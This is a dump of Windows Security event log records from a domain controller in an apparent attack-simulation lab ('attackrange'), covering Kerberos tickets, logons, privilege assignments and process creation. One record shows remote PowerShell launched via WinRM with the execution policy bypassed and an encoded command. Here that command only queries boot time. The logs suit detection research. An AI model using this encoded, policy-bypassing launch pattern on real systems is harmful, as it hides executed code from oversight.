	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd40
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249627
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE6250

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249626
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE6250
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B1243C6A-491A-5947-F7D8-661DDD8FE3E7}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249625
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B1243C6A-491A-5947-F7D8-661DDD8FE3E7}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249624
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B1243C6A-491A-5947-F7D8-661DDD8FE3E7}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249623
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249622
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE60A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249621
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE60A3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64307

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249620
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE60A3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249619
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE6019

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249618
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE6019
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64306

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249617
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE6019

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249616
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5F73

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249615
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE5F73
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64305

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249614
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5F73

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249613
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5ED9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249612
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE5ED9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64304

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249611
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5ED9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249610
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE59F1

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe1c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd40
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249609
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE59F1

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249608
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Windows\System32\dllhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=249607
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x478
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249606
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE59F1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249605
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE59F1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B1243C6A-491A-5947-F7D8-661DDD8FE3E7}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249604
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B1243C6A-491A-5947-F7D8-661DDD8FE3E7}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249603
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B1243C6A-491A-5947-F7D8-661DDD8FE3E7}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249602
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
